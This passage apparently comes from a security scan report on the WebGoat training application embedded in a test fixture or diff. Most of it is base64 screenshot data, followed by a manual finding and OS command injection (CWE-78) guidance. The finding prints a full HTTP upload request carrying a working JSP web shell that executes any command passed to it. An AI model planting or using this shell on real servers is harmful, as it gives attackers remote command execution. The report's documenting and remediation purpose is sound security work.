IAAAggggAACfRDwXSbEJUN96H3aiAACCCCAAAIIINB7Ad9lQstyyVAt3zLU+1EEAAIIIIAAAggggMDSC3T1W4YqDwiWvudpIAIIIIAAAggggAACKQLvZjNxsz3ka0cZJQgggAACCCCAAAIIINA+AW4qbl+fUCMEEEAAAQQQQAABBGoTICCojZqCEEAAAQQQQAABBBBonwABQfv6hBohgAACCCCAAAIIIFCbAAFBbdQUhAACCCCAAAIIIIBA+wRK+ZahzetJ+1pGjRBAAAEEEEAAAQQQaIlAm79lqJSAoCXOVAMBBBBAAAEEEEAAgdYK3N/ft7JuhQOCVraKSiGAAAIIIIAAAggggECUAPcQRDGRCAEEEEAAAQQQQACB5RQgIFjOfqVVCCCAAAIIIIAAAghECRAQRDGRCAEEEEAAAQQQQACB5RQgIFjOfqVVCCCAAAIIIIAAAghECRAQRDGRCAEEEEAAAQQQQACB5RQgIFjOfqVVCCCAAAIIIIAAAghECRAQRDGRCAEEEEAAAQQQQACB5RQgIFjOfqVVCCCAAAIIIIAAAghECRAQRDGRCAEEEEAAAQQQQACB5RQgIFjOfqVVCCCAAAIIIIAAAghECRAQRDGRCAEEEEAAAQQQQACB5RQgIFjOfqVVCCCAAAIIIIAAAghECRAQRDGRCAEEEEAAAQQQQACB5RQgIFjOfqVVCCCAAAIIIIAAAghECRAQRDGRCAEEEEAAAQQQQACB5RQgIFjOfqVVCCCAAAIIIIAAAghECRAQRDGRCAEEEEAAAQQQQACB5RQgIFjOfqVVCCCAAAIIIIAAAghECRAQRDGRCAEEEEAAAQQQQACB5RQgIFjOfqVVCCCAAAIIIIAAAghECfx/u75bR7BInL4AAAAASUVORK5CYII=</data>\n</screenshot>\n<screenshot
+        format=\"PNG\">\n<data>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N1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUEfj//wQf4ZlyI0cAAAAASUVORK5CYII=</data>\n</screenshot>\n<code>The
+        following POST request uploaded a jsp based shell that could later be accessed
+        at: http://targethost/WebGoat/uploads/cmd.jsp\nThe jsp extension has a handler
+        configured within the current web server, causing the jsp code to be interpreted
+        and executed.\n\nPOST /WebGoat/attack?Screen=1146227108&amp;menu=1600 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: multipart/form-data;
+        boundary=---------------------------41184676334\nContent-Length: 1160\n\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"myfile\"; filename=\"cmd.jsp\"\nContent-Type: application/octet-stream\n\n&lt;%@
+        page import=\"java.util.*,java.io.*\"%&gt;\n&lt;HTML&gt;&lt;BODY&gt;\n&lt;FORM
+        METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"&gt;\n&lt;INPUT TYPE=\"text\" NAME=\"cmd\"&gt;\n&lt;INPUT
+        TYPE=\"submit\" VALUE=\"Send\"&gt;\n&lt;/FORM&gt;\n&lt;pre&gt;\n&lt;%\nif
+        (request.getParameter(\"cmd\") != null) {\n        out.println(\"Command:
+        \" + request.getParameter(\"cmd\") + \"&lt;BR&gt;\");\n        Process p =
+        Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n        OutputStream
+        os = p.getOutputStream();\n        InputStream in = p.getInputStream();\n
+        \       DataInputStream dis = new DataInputStream(in);\n        String disr
+        = dis.readLine();\n        while ( disr != null ) {\n                out.println(disr);
+        \n                disr = dis.readLine(); \n                }\n        }\n%&gt;\n&lt;/pre&gt;\n&lt;/BODY&gt;&lt;/HTML&gt;\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"SUBMIT\"\n\nStart Upload\n-----------------------------41184676334--\n</code></appendix></flaw></manualflaws></cwe></category><category
+        categoryid=\"18\" categoryname=\"OS Command Injection\" pcirelated=\"false\"><desc><para
+        text=\"OS command injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct and execute
+        a system command.  This allows an attacker to either alter the command executed
+        by the application or append additional commands.  The command is typically
+        executed with the privileges of the executing process and gives an attacker
+        a privilege or capability that he would not otherwise have.\"/></desc><recommendations><para
+        text=\"Careful handling of all untrusted data is critical in preventing OS
+        command injection attacks.   Using one or more of the following techniques
+        provides defense-in-depth and minimizes the likelihood of an vulnerability.\"><bulletitem
+        text=\"If possible, use library calls rather than external processes to recreate
+        the desired functionality.\"/><bulletitem text=\"Validate user-supplied input
+        using positive filters (white lists) to ensure that it conforms to the expected
+        format, using centralized data validation routines when possible. \"/><bulletitem
+        text=\"Select safe API routines.  Some APIs that execute system commands take
+        an array of strings as input rather than a single string, which protects against
+        some forms of command injection by ensuring that a user-supplied argument
+        cannot be interpreted as part of the command.\"/></para></recommendations><cwe
+        cweid=\"78\" cwename=\"Improper Neutralization of Special Elements used in
+        an OS Command ('OS Command Injection')\" pcirelated=\"false\" owasp=\"929\"
+        sans=\"864\" certc=\"741\" certcpp=\"875\" certjava=\"845\"><description><text
+        text=\"This call contains a command injection flaw.  The argument to the function
+        is constructed using user-supplied input.  If an attacker is allowed to specify
+        all or part of the command, it may be possible to execute commands on the
+        server with the privileges of the executing process.  The level of exposure
+        depends on the effectiveness of input validation routines, if any.\"/></description><staticflaws><flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"132\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
